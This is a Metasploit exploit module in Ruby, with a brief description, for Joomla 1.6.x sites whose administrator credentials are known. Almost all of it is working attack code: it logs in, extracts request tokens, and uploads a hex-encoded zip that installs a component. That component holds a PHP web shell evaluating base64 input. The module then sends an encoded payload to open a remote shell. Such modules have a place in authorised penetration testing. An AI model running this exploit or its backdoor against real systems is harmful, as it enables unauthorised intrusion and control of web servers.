This Metasploit module can be used to gain a remote shell to a Joomla! 1.6.x install when administrator credentials are known. This is achieved by uploading a malicious component which is used to execute the selected payload.
612d16778b5cce15c16e50253fe4bc1f0dbda9b28aac75b76518ca8050eb526c
# Requirements
require 'msf/core'
# Class declaration
class Metasploit3 < Msf::Exploit::Remote
# Includes
include Msf::Exploit::Remote::HttpClient
# Initialize module
def initialize(info = {})
# Initialize information
super(update_info(info,
'Name' => 'Joomla 1.6.* Administrator PHP Code Execution',
'Description' => %q{
This module can be used to gain a remote shell to a Joomla! 1.6.* install when
administrator credentials are known. This is acheived by uploading a malicious
component which is used to execute the selected payload.
},
'Author' =>
[
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0 ))
register_options(
[
# Required
OptString.new('JDIR', [true, 'Joomla directory', '/']),
OptString.new('JUSR', [true, 'Joomla admin username', nil]),
OptString.new('JPWD', [true, 'Joomla admin password', nil]),
# Optional
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),
], self.class)
end
#################################################
# Extract "Set-Cookie"
def init_cookie(data, cstr = true)
# Raw request? Or cookie data specifically?
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
# Beginning
if ( data )
# Break them apart
data = data.split(', ')
# Initialize
ctmp = ''
tmps = {}
# Parse cookies
data.each do | x |
# Remove extra data
x = x.split(';')[0]
# Seperate cookie pairs
if ( x =~ /([^;\s]+)=([^;\s]+)/im )
# Key
k = $1
# Val
v = $2
# Valid cookie value?
if ( v.length() > 0 )
# Build cookie hash
tmps[k] = v
# Report cookie status
print_status("Got Cookie: #{k} => #{v}");
end
end
end
# Build string data
if ( cstr == true )
# Loop
tmps.each do |x,y|
# Cookie key/value
ctmp << "#{x}=#{y};"
end
# Assign
tmps['cstr'] = ctmp
end
# Return
return tmps
else
# Something may be wrong
init_debug("No cookies within the given response")
end
end
#################################################
# Simple debugging output
def init_debug(resp, exit = 0)
# is DBUG set? Check it
if ( datastore['DBUG'] )
# Print debugging data
print_status("######### DEBUG! ########")
pp resp
print_status("#########################")
end
# Continue execution
if ( exit.to_i > 0 )
# Exit
exit(0)
end
end
#################################################
# Generic post wrapper
def http_post(url, data, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"
# Determine Content-Length
headers['Content-Length'] = data.length
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout )
# Returned
return resp
end
#################################################
# Generic post multipart wrapper
def http_post_multipart(url, data, headers = {}, timeout = 15)
# Boundary string
bndr = Rex::Text.rand_text_alphanumeric(8)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value
if ( !hval )
# Delete header key
headers.delete(hkey)
end
end
# Init
temp = ''
# Parse form values
data.each do |name, value|
# Hash means file data
if ( value.is_a?(Hash) )
# Validate form fields
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"
else
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end
# Complete the form data
temp << "--#{bndr}--\r\n"
# Assigned
data = temp
# Determine Content-Length
headers['Content-Length'] = data.length
# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout)
# Returned
return resp
end
#################################################
# Generic get wrapper
def http_get(url, headers = {}, timeout = 15)
# Protocol
proto = datastore['SSL'] ? 'https': 'http'
# Determine request url
url = url.length ? url: ''
# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']
# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
# Delete all the null headers
headers.each do | hkey, hval |
# Null value // Also, remove post specific data, due to a bug ...
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
# Delete header key
headers.delete(hkey)
end
end
# Send request
resp = send_request_raw({
'uri' => datastore['JDIR'] + url,
'headers' => headers,
'method' => 'GET',
}, timeout)
# Returned
return resp
end
#################################################
def check
# Banner grab request
resp = http_get("index.php")
# Extract Joomla version information
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )
# Version
vers = $1.strip
# Version "parts"
ver1, ver2, ver3 = vers.split(/\./)
# Only if 1.6.0 aka 1.6
if ( ver2.to_i != 6 )
# Safe
print_error("Only compatible with the Joomla 1.6 branch")
return Exploit::CheckCode::Safe
else
# Vulnerable
return Exploit::CheckCode::Vulnerable
end
else
# Verbose
print_error("Unable to determine Joomla version ...")
return Exploit::CheckCode::Safe
end
end
#################################################
def exploit
# Numeric test string
tstr = Time.now.to_i.to_s
# MD5 test string
tmd5 = Rex::Text.md5(tstr)
# Encoded payload
load = payload.encoded
# Credentials
user = datastore['JUSR']
pass = datastore['JPWD']
# Verbose
print_status("Attempting to extract a valid request token")
# Request a valid token
resp = http_get("administrator/index.php")
# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
# Token
rtok = $1
# Verbose
print_status("Got token: #{rtok}")
else
# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp)
return
end
# Init cookie
cook = init_cookie(resp)
# Build headers for authenticated session
hdrs = { "Cookie" => cook['cstr'] }
# Verbose
print_status("Attempting to login as: #{user}")
# Post data for login request
post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1"
# Login request
resp = http_post("administrator/index.php", post, hdrs)
# Authentication successful???
if ( resp && resp.code == 303 )
# Success
print_status("Successfully logged in as: #{user}")
else
# Failure
print_error("Unable to authenticate. Exploit failed!")
init_debug(resp)
return
end
# Verbose
print_status("Attempting to extract refreshed request token")
# Request a valid token (again)
resp = http_get("administrator/index.php?option=com_installer", hdrs)
# Extract token
if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
# Token
rtok = $1
# Verbose
print_status("Got token: #{rtok}")
else
# Failure
print_error("Unable to extract request token. Exploit failed!")
init_debug(resp.body)
return
end
# Component specific data
cstr = "joomla"
czip = "com_#{cstr}.zip"
curi = "components/com_#{cstr}/#{cstr}.php"
#################################################
# Our Joomla specific PHP payload wrapper that is
# used to have more flexibility when delivering a
# selected payload to a target. The wrapper is in
# the Joomla! 1.6 compononent format and can also
# be used with other Joomla exploits.
#################################################
#
# Type: Joomla 1.6 Component
# File: com_joomla/joomla.xml <-- installer file
# com_joomla/joomla.php <-- component file
#
# Data: <?php
# # Modify settings
# error_reporting(0);
# ini_set('max_execution_time', 0);
#
# # Execute the selected payload, and delete the wrapper
# @eval(base64_decode(file_get_contents('php://input')));
# ?>
#################################################
# Hex encoded component zip data
wrap = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"
# Verbose
print_status("Attempting to upload payload wrapper component")
# Post data
data = {
# Component data
'install_package' =>
{
'filename' => czip,
'contents' => wrap,
'mimetype' => 'application/zip',
'encoding' => 'binary',
},
# Required install params
"installtype" => "upload",
"task" => "install.install",
"#{rtok}" => "1",
}
# Upload the wrapper component
init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs))
# Deliver the selected payload to the target
init_debug(http_post(curi, Rex::Text.encode_base64(load)))
# Shell
handler
end
end